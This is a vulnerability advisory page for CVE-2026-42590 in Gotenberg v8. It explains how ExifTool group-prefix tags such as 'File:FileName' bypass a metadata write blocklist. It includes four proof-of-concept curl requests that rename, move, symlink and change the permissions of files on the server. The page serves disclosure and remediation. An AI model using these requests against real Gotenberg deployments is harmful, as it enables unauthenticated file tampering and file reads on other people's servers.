Skip to main content

Gotenberg v8 EUVD-2026-30316

| CVE-2026-42590 HIGH
Incomplete List of Disallowed Inputs (CWE-184)
2026-05-07 https://github.com/gotenberg/gotenberg GHSA-7v3r-m9c8-r855
8.2
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

Lifecycle Timeline

4
Patch available
May 14, 2026 - 18:02 EUVD
Source Code Evidence Fetched
May 07, 2026 - 01:16 vuln.today
Analysis Generated
May 07, 2026 - 01:16 vuln.today
CVE Published
May 07, 2026 - 00:55 nvd
HIGH 8.2

DescriptionNVD

Summary

The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.

Details

The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.

The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.

Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.

PoC

bash
# Rename the converted PDF (bypasses FileName blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:FileName":"pwned.pdf"}' \
  http://localhost:3000/forms/pdfengines/metadata/write
# Move the file to /tmp (bypasses Directory blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:Directory":"/tmp"}' \
  http://localhost:3000/forms/pdfengines/metadata/write
# Create a symlink (bypasses SymLink blocklist)
curl -F "files=@test.pdf" \
  -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
  http://localhost:3000/forms/pdfengines/metadata/write
# Change file permissions (not blocked at all)
curl -F "files=@test.pdf" \
  -F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
  http://localhost:3000/forms/pdfengines/metadata/write

Impact

Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.

This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.

AnalysisAI

Remote attackers can manipulate server filesystem operations in Gotenberg v8 by bypassing ExifTool metadata blocklist using group-prefix syntax (e.g., 'File:FileName' instead of 'FileName'). The vulnerability allows unauthenticated file renaming, moving, symlink/hardlink creation, and permission modification on the server. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: Immediately identify all Gotenberg v8 instances in your environment using asset inventory and network scanning; isolate affected systems from untrusted networks or disable remote access pending remediation. Within 7 days: Contact Gotenberg project maintainers for patch availability and timeline; as an interim measure, implement strict network segmentation restricting Gotenberg access to trusted internal networks only and disable the ExifTool integration if not critical to operations. …

Sign in for detailed remediation steps.

Share

EUVD-2026-30316 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy